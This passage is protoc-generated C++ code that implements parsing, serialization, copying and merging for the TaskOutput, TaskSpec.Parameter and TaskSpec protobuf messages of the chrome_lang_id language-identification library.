&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); swap(multi_file_, other->multi_file_); } std::string TaskInput::GetTypeName() const { return "chrome_lang_id.TaskInput"; } // =================================================================== class TaskOutput::_Internal { public: using HasBits = decltype(std::declval<TaskOutput>()._has_bits_); static void set_has_name(HasBits* has_bits) { (*has_bits)[0] |= 1u; } static void set_has_file_format(HasBits* has_bits) { (*has_bits)[0] |= 2u; } static void set_has_record_format(HasBits* has_bits) { (*has_bits)[0] |= 4u; } static void set_has_shards(HasBits* has_bits) { (*has_bits)[0] |= 32u; } static void set_has_file_base(HasBits* has_bits) { (*has_bits)[0] |= 8u; } static void set_has_file_extension(HasBits* has_bits) { (*has_bits)[0] |= 16u; } static bool MissingRequiredFields(const HasBits& has_bits) { return ((has_bits[0] & 0x00000001) ^ 0x00000001) != 0; } }; TaskOutput::TaskOutput(::PROTOBUF_NAMESPACE_ID::Arena* arena) : ::PROTOBUF_NAMESPACE_ID::MessageLite(arena) { SharedCtor(); RegisterArenaDtor(arena); // @@protoc_insertion_point(arena_constructor:chrome_lang_id.TaskOutput) } TaskOutput::TaskOutput(const TaskOutput& from) : ::PROTOBUF_NAMESPACE_ID::MessageLite(), _has_bits_(from._has_bits_) { _internal_metadata_.MergeFrom<std::string>(from._internal_metadata_); name_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_name()) { name_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_name(), GetArena()); } file_format_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_file_format()) { file_format_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_file_format(), GetArena()); } record_format_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_record_format()) { record_format_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_record_format(), GetArena()); } file_base_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_file_base()) { file_base_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_file_base(), GetArena()); } file_extension_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_file_extension()) { file_extension_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_file_extension(), GetArena()); } shards_ = from.shards_; // @@protoc_insertion_point(copy_constructor:chrome_lang_id.TaskOutput) } void TaskOutput::SharedCtor() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_TaskOutput_task_5fspec_2eproto.base); name_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); file_format_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); record_format_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); file_base_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); file_extension_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); shards_ = 0; } TaskOutput::~TaskOutput() { // @@protoc_insertion_point(destructor:chrome_lang_id.TaskOutput) SharedDtor(); _internal_metadata_.Delete<std::string>(); } void TaskOutput::SharedDtor() { GOOGLE_DCHECK(GetArena() == nullptr); name_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); file_format_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); record_format_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); file_base_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); file_extension_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } void TaskOutput::ArenaDtor(void* object) { TaskOutput* _this = reinterpret_cast< TaskOutput* >(object); (void)_this; } void TaskOutput::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) { } void TaskOutput::SetCachedSize(int size) const { _cached_size_.Set(size); } const TaskOutput& TaskOutput::default_instance() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_TaskOutput_task_5fspec_2eproto.base); return *internal_default_instance(); } void TaskOutput::Clear() { // @@protoc_insertion_point(message_clear_start:chrome_lang_id.TaskOutput) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x0000001fu) { if (cached_has_bits & 0x00000001u) { name_.ClearNonDefaultToEmpty(); } if (cached_has_bits & 0x00000002u) { file_format_.ClearNonDefaultToEmpty(); } if (cached_has_bits & 0x00000004u) { record_format_.ClearNonDefaultToEmpty(); } if (cached_has_bits & 0x00000008u) { file_base_.ClearNonDefaultToEmpty(); } if (cached_has_bits & 0x00000010u) { file_extension_.ClearNonDefaultToEmpty(); } } shards_ = 0; _has_bits_.Clear(); _internal_metadata_.Clear<std::string>(); } const char* TaskOutput::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) { #define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure _Internal::HasBits has_bits{}; while (!ctx->Done(&ptr)) { ::PROTOBUF_NAMESPACE_ID::uint32 tag; ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag); CHK_(ptr); switch (tag >> 3) { // required string name = 1; case 1: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 10)) { auto str = _internal_mutable_name(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // optional string file_format = 2; case 2: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 18)) { auto str = _internal_mutable_file_format(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // optional string record_format = 3; case 3: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 26)) { auto str = _internal_mutable_record_format(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // optional int32 shards = 4 [default = 0]; case 4: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 32)) { _Internal::set_has_shards(&has_bits); shards_ = ::PROTOBUF_NAMESPACE_ID::internal::ReadVarint64(&ptr); CHK_(ptr); } else goto handle_unusual; continue; // optional string file_base = 5; case 5: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 42)) { auto str = _internal_mutable_file_base(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // optional string file_extension = 6; case 6: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 50)) { auto str = _internal_mutable_file_extension(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; default: { handle_unusual: if ((tag & 7) == 4 || tag == 0) { ctx->SetLastTag(tag); goto success; } ptr = UnknownFieldParse(tag, _internal_metadata_.mutable_unknown_fields<std::string>(), ptr, ctx); CHK_(ptr != nullptr); continue; } } // switch } // while success: _has_bits_.Or(has_bits); return ptr; failure: ptr = nullptr; goto success; #undef CHK_ } ::PROTOBUF_NAMESPACE_ID::uint8* TaskOutput::_InternalSerialize( ::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const { // @@protoc_insertion_point(serialize_to_array_start:chrome_lang_id.TaskOutput) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = _has_bits_[0]; // required string name = 1; if (cached_has_bits & 0x00000001u) { target = stream->WriteStringMaybeAliased( 1, this->_internal_name(), target); } // optional string file_format = 2; if (cached_has_bits & 0x00000002u) { target = stream->WriteStringMaybeAliased( 2, this->_internal_file_format(), target); } // optional string record_format = 3; if (cached_has_bits & 0x00000004u) { target = stream->WriteStringMaybeAliased( 3, this->_internal_record_format(), target); } // optional int32 shards = 4 [default = 0]; if (cached_has_bits & 0x00000020u) { target = stream->EnsureSpace(target); target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::WriteInt32ToArray(4, this->_internal_shards(), target); } // optional string file_base = 5; if (cached_has_bits & 0x00000008u) { target = stream->WriteStringMaybeAliased( 5, this->_internal_file_base(), target); } // optional string file_extension = 6; if (cached_has_bits & 0x00000010u) { target = stream->WriteStringMaybeAliased( 6, this->_internal_file_extension(), target); } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { target = stream->WriteRaw(_internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).data(), static_cast<int>(_internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).size()), target); } // @@protoc_insertion_point(serialize_to_array_end:chrome_lang_id.TaskOutput) return target; } size_t TaskOutput::ByteSizeLong() const { // @@protoc_insertion_point(message_byte_size_start:chrome_lang_id.TaskOutput) size_t total_size = 0; // required string name = 1; if (_internal_has_name()) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_name()); } ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x0000003eu) { // optional string file_format = 2; if (cached_has_bits & 0x00000002u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_file_format()); } // optional string record_format = 3; if (cached_has_bits & 0x00000004u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_record_format()); } // optional string file_base = 5; if (cached_has_bits & 0x00000008u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_file_base()); } // optional string file_extension = 6; if (cached_has_bits & 0x00000010u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_file_extension()); } // optional int32 shards = 4 [default = 0]; if (cached_has_bits & 0x00000020u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::Int32Size( this->_internal_shards()); } } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { total_size += _internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).size(); } int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size); SetCachedSize(cached_size); return total_size; } void TaskOutput::CheckTypeAndMergeFrom( const ::PROTOBUF_NAMESPACE_ID::MessageLite& from) { MergeFrom(*::PROTOBUF_NAMESPACE_ID::internal::DownCast<const TaskOutput*>( &from)); } void TaskOutput::MergeFrom(const TaskOutput& from) { // @@protoc_insertion_point(class_specific_merge_from_start:chrome_lang_id.TaskOutput) GOOGLE_DCHECK_NE(&from, this); _internal_metadata_.MergeFrom<std::string>(from._internal_metadata_); ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = from._has_bits_[0]; if (cached_has_bits & 0x0000003fu) { if (cached_has_bits & 0x00000001u) { _internal_set_name(from._internal_name()); } if (cached_has_bits & 0x00000002u) { _internal_set_file_format(from._internal_file_format()); } if (cached_has_bits & 0x00000004u) { _internal_set_record_format(from._internal_record_format()); } if (cached_has_bits & 0x00000008u) { _internal_set_file_base(from._internal_file_base()); } if (cached_has_bits & 0x00000010u) { _internal_set_file_extension(from._internal_file_extension()); } if (cached_has_bits & 0x00000020u) { shards_ = from.shards_; } _has_bits_[0] |= cached_has_bits; } } void TaskOutput::CopyFrom(const TaskOutput& from) { // @@protoc_insertion_point(class_specific_copy_from_start:chrome_lang_id.TaskOutput) if (&from == this) return; Clear(); MergeFrom(from); } bool TaskOutput::IsInitialized() const { if (_Internal::MissingRequiredFields(_has_bits_)) return false; return true; } void TaskOutput::InternalSwap(TaskOutput* other) { using std::swap; _internal_metadata_.Swap<std::string>(&other->_internal_metadata_); swap(_has_bits_[0], other->_has_bits_[0]); name_.Swap(&other->name_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); file_format_.Swap(&other->file_format_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); record_format_.Swap(&other->record_format_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); file_base_.Swap(&other->file_base_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); file_extension_.Swap(&other->file_extension_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); swap(shards_, other->shards_); } std::string TaskOutput::GetTypeName() const { return "chrome_lang_id.TaskOutput"; } // =================================================================== class TaskSpec_Parameter::_Internal { public: using HasBits = decltype(std::declval<TaskSpec_Parameter>()._has_bits_); static void set_has_name(HasBits* has_bits) { (*has_bits)[0] |= 1u; } static void set_has_value(HasBits* has_bits) { (*has_bits)[0] |= 2u; } static bool MissingRequiredFields(const HasBits& has_bits) { return ((has_bits[0] & 0x00000001) ^ 0x00000001) != 0; } }; TaskSpec_Parameter::TaskSpec_Parameter(::PROTOBUF_NAMESPACE_ID::Arena* arena) : ::PROTOBUF_NAMESPACE_ID::MessageLite(arena) { SharedCtor(); RegisterArenaDtor(arena); // @@protoc_insertion_point(arena_constructor:chrome_lang_id.TaskSpec.Parameter) } TaskSpec_Parameter::TaskSpec_Parameter(const TaskSpec_Parameter& from) : ::PROTOBUF_NAMESPACE_ID::MessageLite(), _has_bits_(from._has_bits_) { _internal_metadata_.MergeFrom<std::string>(from._internal_metadata_); name_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_name()) { name_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_name(), GetArena()); } value_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_value()) { value_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_value(), GetArena()); } // @@protoc_insertion_point(copy_constructor:chrome_lang_id.TaskSpec.Parameter) } void TaskSpec_Parameter::SharedCtor() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_TaskSpec_Parameter_task_5fspec_2eproto.base); name_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); value_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } TaskSpec_Parameter::~TaskSpec_Parameter() { // @@protoc_insertion_point(destructor:chrome_lang_id.TaskSpec.Parameter) SharedDtor(); _internal_metadata_.Delete<std::string>(); } void TaskSpec_Parameter::SharedDtor() { GOOGLE_DCHECK(GetArena() == nullptr); name_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); value_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } void TaskSpec_Parameter::ArenaDtor(void* object) { TaskSpec_Parameter* _this = reinterpret_cast< TaskSpec_Parameter* >(object); (void)_this; } void TaskSpec_Parameter::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) { } void TaskSpec_Parameter::SetCachedSize(int size) const { _cached_size_.Set(size); } const TaskSpec_Parameter& TaskSpec_Parameter::default_instance() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_TaskSpec_Parameter_task_5fspec_2eproto.base); return *internal_default_instance(); } void TaskSpec_Parameter::Clear() { // @@protoc_insertion_point(message_clear_start:chrome_lang_id.TaskSpec.Parameter) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000003u) { if (cached_has_bits & 0x00000001u) { name_.ClearNonDefaultToEmpty(); } if (cached_has_bits & 0x00000002u) { value_.ClearNonDefaultToEmpty(); } } _has_bits_.Clear(); _internal_metadata_.Clear<std::string>(); } const char* TaskSpec_Parameter::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) { #define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure _Internal::HasBits has_bits{}; while (!ctx->Done(&ptr)) { ::PROTOBUF_NAMESPACE_ID::uint32 tag; ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag); CHK_(ptr); switch (tag >> 3) { // required string name = 4; case 4: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 34)) { auto str = _internal_mutable_name(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // optional string value = 5; case 5: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 42)) { auto str = _internal_mutable_value(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; default: { handle_unusual: if ((tag & 7) == 4 || tag == 0) { ctx->SetLastTag(tag); goto success; } ptr = UnknownFieldParse(tag, _internal_metadata_.mutable_unknown_fields<std::string>(), ptr, ctx); CHK_(ptr != nullptr); continue; } } // switch } // while success: _has_bits_.Or(has_bits); return ptr; failure: ptr = nullptr; goto success; #undef CHK_ } ::PROTOBUF_NAMESPACE_ID::uint8* TaskSpec_Parameter::_InternalSerialize( ::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const { // @@protoc_insertion_point(serialize_to_array_start:chrome_lang_id.TaskSpec.Parameter) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = _has_bits_[0]; // required string name = 4; if (cached_has_bits & 0x00000001u) { target = stream->WriteStringMaybeAliased( 4, this->_internal_name(), target); } // optional string value = 5; if (cached_has_bits & 0x00000002u) { target = stream->WriteStringMaybeAliased( 5, this->_internal_value(), target); } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { target = stream->WriteRaw(_internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).data(), static_cast<int>(_internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).size()), target); } // @@protoc_insertion_point(serialize_to_array_end:chrome_lang_id.TaskSpec.Parameter) return target; } size_t TaskSpec_Parameter::ByteSizeLong() const { // @@protoc_insertion_point(message_byte_size_start:chrome_lang_id.TaskSpec.Parameter) size_t total_size = 0; // required string name = 4; if (_internal_has_name()) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_name()); } ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; // optional string value = 5; cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000002u) { total_size += 1 + ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite::StringSize( this->_internal_value()); } if (PROTOBUF_PREDICT_FALSE(_internal_metadata_.have_unknown_fields())) { total_size += _internal_metadata_.unknown_fields<std::string>(::PROTOBUF_NAMESPACE_ID::internal::GetEmptyString).size(); } int cached_size = ::PROTOBUF_NAMESPACE_ID::internal::ToCachedSize(total_size); SetCachedSize(cached_size); return total_size; } void TaskSpec_Parameter::CheckTypeAndMergeFrom( const ::PROTOBUF_NAMESPACE_ID::MessageLite& from) { MergeFrom(*::PROTOBUF_NAMESPACE_ID::internal::DownCast<const TaskSpec_Parameter*>( &from)); } void TaskSpec_Parameter::MergeFrom(const TaskSpec_Parameter& from) { // @@protoc_insertion_point(class_specific_merge_from_start:chrome_lang_id.TaskSpec.Parameter) GOOGLE_DCHECK_NE(&from, this); _internal_metadata_.MergeFrom<std::string>(from._internal_metadata_); ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = from._has_bits_[0]; if (cached_has_bits & 0x00000003u) { if (cached_has_bits & 0x00000001u) { _internal_set_name(from._internal_name()); } if (cached_has_bits & 0x00000002u) { _internal_set_value(from._internal_value()); } } } void TaskSpec_Parameter::CopyFrom(const TaskSpec_Parameter& from) { // @@protoc_insertion_point(class_specific_copy_from_start:chrome_lang_id.TaskSpec.Parameter) if (&from == this) return; Clear(); MergeFrom(from); } bool TaskSpec_Parameter::IsInitialized() const { if (_Internal::MissingRequiredFields(_has_bits_)) return false; return true; } void TaskSpec_Parameter::InternalSwap(TaskSpec_Parameter* other) { using std::swap; _internal_metadata_.Swap<std::string>(&other->_internal_metadata_); swap(_has_bits_[0], other->_has_bits_[0]); name_.Swap(&other->name_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); value_.Swap(&other->value_, &::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited(), GetArena()); } std::string TaskSpec_Parameter::GetTypeName() const { return "chrome_lang_id.TaskSpec.Parameter"; } // =================================================================== class TaskSpec::_Internal { public: using HasBits = decltype(std::declval<TaskSpec>()._has_bits_); static void set_has_task_name(HasBits* has_bits) { (*has_bits)[0] |= 1u; } static void set_has_task_type(HasBits* has_bits) { (*has_bits)[0] |= 2u; } }; TaskSpec::TaskSpec(::PROTOBUF_NAMESPACE_ID::Arena* arena) : ::PROTOBUF_NAMESPACE_ID::MessageLite(arena), parameter_(arena), input_(arena), output_(arena) { SharedCtor(); RegisterArenaDtor(arena); // @@protoc_insertion_point(arena_constructor:chrome_lang_id.TaskSpec) } TaskSpec::TaskSpec(const TaskSpec& from) : ::PROTOBUF_NAMESPACE_ID::MessageLite(), _has_bits_(from._has_bits_), parameter_(from.parameter_), input_(from.input_), output_(from.output_) { _internal_metadata_.MergeFrom<std::string>(from._internal_metadata_); task_name_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_task_name()) { task_name_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_task_name(), GetArena()); } task_type_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); if (from._internal_has_task_type()) { task_type_.Set(::PROTOBUF_NAMESPACE_ID::internal::ArenaStringPtr::EmptyDefault{}, from._internal_task_type(), GetArena()); } // @@protoc_insertion_point(copy_constructor:chrome_lang_id.TaskSpec) } void TaskSpec::SharedCtor() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&scc_info_TaskSpec_task_5fspec_2eproto.base); task_name_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); task_type_.UnsafeSetDefault(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } TaskSpec::~TaskSpec() { // @@protoc_insertion_point(destructor:chrome_lang_id.TaskSpec) SharedDtor(); _internal_metadata_.Delete<std::string>(); } void TaskSpec::SharedDtor() { GOOGLE_DCHECK(GetArena() == nullptr); task_name_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); task_type_.DestroyNoArena(&::PROTOBUF_NAMESPACE_ID::internal::GetEmptyStringAlreadyInited()); } void TaskSpec::ArenaDtor(void* object) { TaskSpec* _this = reinterpret_cast< TaskSpec* >(object); (void)_this; } void TaskSpec::RegisterArenaDtor(::PROTOBUF_NAMESPACE_ID::Arena*) { } void TaskSpec::SetCachedSize(int size) const { _cached_size_.Set(size); } const TaskSpec& TaskSpec::default_instance() { ::PROTOBUF_NAMESPACE_ID::internal::InitSCC(&::scc_info_TaskSpec_task_5fspec_2eproto.base); return *internal_default_instance(); } void TaskSpec::Clear() { // @@protoc_insertion_point(message_clear_start:chrome_lang_id.TaskSpec) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; // Prevent compiler warnings about cached_has_bits being unused (void) cached_has_bits; parameter_.Clear(); input_.Clear(); output_.Clear(); cached_has_bits = _has_bits_[0]; if (cached_has_bits & 0x00000003u) { if (cached_has_bits & 0x00000001u) { task_name_.ClearNonDefaultToEmpty(); } if (cached_has_bits & 0x00000002u) { task_type_.ClearNonDefaultToEmpty(); } } _has_bits_.Clear(); _internal_metadata_.Clear<std::string>(); } const char* TaskSpec::_InternalParse(const char* ptr, ::PROTOBUF_NAMESPACE_ID::internal::ParseContext* ctx) { #define CHK_(x) if (PROTOBUF_PREDICT_FALSE(!(x))) goto failure _Internal::HasBits has_bits{}; while (!ctx->Done(&ptr)) { ::PROTOBUF_NAMESPACE_ID::uint32 tag; ptr = ::PROTOBUF_NAMESPACE_ID::internal::ReadTag(ptr, &tag); CHK_(ptr); switch (tag >> 3) { // optional string task_name = 1; case 1: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 10)) { auto str = _internal_mutable_task_name(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // optional string task_type = 2; case 2: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 18)) { auto str = _internal_mutable_task_type(); ptr = ::PROTOBUF_NAMESPACE_ID::internal::InlineGreedyStringParser(str, ptr, ctx); CHK_(ptr); } else goto handle_unusual; continue; // repeated group Parameter = 3 { ... }; case 3: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 27)) { ptr -= 1; do { ptr += 1; ptr = ctx->ParseGroup(_internal_add_parameter(), ptr, 27); CHK_(ptr); if (!ctx->DataAvailable(ptr)) break; } while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<27>(ptr)); } else goto handle_unusual; continue; // repeated .chrome_lang_id.TaskInput input = 6; case 6: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 50)) { ptr -= 1; do { ptr += 1; ptr = ctx->ParseMessage(_internal_add_input(), ptr); CHK_(ptr); if (!ctx->DataAvailable(ptr)) break; } while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<50>(ptr)); } else goto handle_unusual; continue; // repeated .chrome_lang_id.TaskOutput output = 7; case 7: if (PROTOBUF_PREDICT_TRUE(static_cast<::PROTOBUF_NAMESPACE_ID::uint8>(tag) == 58)) { ptr -= 1; do { ptr += 1; ptr = ctx->ParseMessage(_internal_add_output(), ptr); CHK_(ptr); if (!ctx->DataAvailable(ptr)) break; } while (::PROTOBUF_NAMESPACE_ID::internal::ExpectTag<58>(ptr)); } else goto handle_unusual; continue; default: { handle_unusual: if ((tag & 7) == 4 || tag == 0) { ctx->SetLastTag(tag); goto success; } ptr = UnknownFieldParse(tag, _internal_metadata_.mutable_unknown_fields<std::string>(), ptr, ctx); CHK_(ptr != nullptr); continue; } } // switch } // while success: _has_bits_.Or(has_bits); return ptr; failure: ptr = nullptr; goto success; #undef CHK_ } ::PROTOBUF_NAMESPACE_ID::uint8* TaskSpec::_InternalSerialize( ::PROTOBUF_NAMESPACE_ID::uint8* target, ::PROTOBUF_NAMESPACE_ID::io::EpsCopyOutputStream* stream) const { // @@protoc_insertion_point(serialize_to_array_start:chrome_lang_id.TaskSpec) ::PROTOBUF_NAMESPACE_ID::uint32 cached_has_bits = 0; (void) cached_has_bits; cached_has_bits = _has_bits_[0]; // optional string task_name = 1; if (cached_has_bits & 0x00000001u) { target = stream->WriteStringMaybeAliased( 1, this->_internal_task_name(), target); } // optional string task_type = 2; if (cached_has_bits & 0x00000002u) { target = stream->WriteStringMaybeAliased( 2, this->_internal_task_type(), target); } // repeated group Parameter = 3 { ... }; for (unsigned int i = 0, n = static_cast<unsigned int>(this->_internal_parameter_size()); i < n; i++) { target = stream->EnsureSpace(target); target = ::PROTOBUF_NAMESPACE_ID::internal::WireFormatLite:: InternalWriteGroup(3, this->_internal_parameter(i), target, stream); } // repeated .chrome_lang_id.TaskInput input = 6; for (unsigned int i = 0, n = static_cast<unsigned 